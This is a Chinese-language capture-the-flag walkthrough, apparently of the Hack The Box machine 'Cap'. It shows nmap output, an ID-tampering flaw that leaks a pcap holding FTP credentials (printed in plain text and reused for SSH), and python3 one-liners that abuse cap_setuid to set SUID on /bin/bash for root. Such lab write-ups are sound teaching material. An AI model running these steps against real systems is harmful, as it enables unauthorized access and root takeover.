基本信息

端口扫描

21,22,80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
$ nmap -sC -sV 10.10.10.245

Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 15:08 CST
Nmap scan report for 10.10.10.245
Host is up (0.069s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Mon, 07 Jun 2021 07:09:31 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 232
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Mon, 07 Jun 2021 07:09:25 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 19386
| <!DOCTYPE html>
| <html class="no-js" lang="en">
| <head>
| <meta charset="utf-8">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Security Dashboard</title>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
| <link rel="stylesheet" href="/static/css/bootstrap.min.css">
| <link rel="stylesheet" href="/static/css/font-awesome.min.css">
| <link rel="stylesheet" href="/static/css/themify-icons.css">
| <link rel="stylesheet" href="/static/css/metisMenu.css">
| <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
| <link rel="stylesheet" href="/static/css/slicknav.min.css">
| <!-- amchar
| HTTPOptions:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Mon, 07 Jun 2021 07:09:25 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Allow: OPTIONS, HEAD, GET
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Connection: close
| Content-Type: text/html
| Content-Length: 196
| <html>
| <head>
| <title>Bad Request</title>
| </head>
| <body>
| <h1><p>Bad Request</p></h1>
| Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
| </body>
|_ </html>
|_http-server-header: gunicorn
|_http-title: Security Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=6/7%Time=60BDC624%P=x86_64-apple-darwin19.6.0%r
SF:(GetRequest,2FE5,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate
SF::\x20Mon,\x2007\x20Jun\x202021\x2007:09:25\x20GMT\r\nConnection:\x20clo
SF:se\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x
SF:2019386\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"e
SF:n\">\n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x
SF:20\x20<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n
SF:\x20\x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<
SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
SF:cale=1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"
SF:image/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20
SF:\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.c
SF:ss\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/cs
SF:s/font-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\
SF:"\x20href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x2
SF:0rel=\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x
SF:20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.
SF:min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/sta
SF:tic/css/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPO
SF:ptions,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Mo
SF:n,\x2007\x20Jun\x202021\x2007:09:25\x20GMT\r\nConnection:\x20close\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20OPTIONS,\x20HE
SF:AD,\x20GET\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x2
SF:0text/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x2
SF:0\x20\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<b
SF:ody>\n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20I
SF:nvalid\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&#x27
SF:;RTSP/1\.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(FourOhFourReques
SF:t,189,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:
SF:\x20Mon,\x2007\x20Jun\x202021\x2007:09:31\x20GMT\r\nConnection:\x20clos
SF:e\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:0232\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.
SF:2\x20Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found
SF:</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x
SF:20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\
SF:x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 153.29 seconds

80

一个网络相关的网站:

pcap

security snapshot每次访问id都不同,下载查看是HTTP请求,如果将其修改为0,得到的pcap中可以得到FTP相关信息:

user flag

FTP用户名密码可以直接SSH,得到user.txt:

1
2
nathan
Buck3tH4TF0RM3!

提权信息

linpeas可以发现python有cap_setuid:

根据文档,可以通过python change UID:

1
CAP_SETUID Allow changing of the UID (set UID of root in you process)

提权 & root flag

可以直接给bash suid,读取root.txt:

1
2
python3 -c 'import os; os.setuid(0); os.system("whoami")'
python3 -c 'import os; os.setuid(0); os.system("chmod +s /bin/bash")'

参考资料